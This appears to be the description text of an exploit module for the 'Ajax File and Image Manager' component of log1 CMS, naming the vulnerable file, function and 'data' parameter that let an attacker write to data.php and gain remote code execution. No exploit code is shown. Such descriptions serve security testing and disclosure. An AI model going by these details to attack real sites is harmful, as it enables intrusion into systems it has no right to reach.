                    This module exploits the "Ajax File and Image Manager" component that can be
                found in log1 CMS.  In function.base.php of this component, the 'data' parameter
                in writeInfo() allows any malicious user to have direct control of writing data
                to file data.php, which results in arbitrary remote code execution.
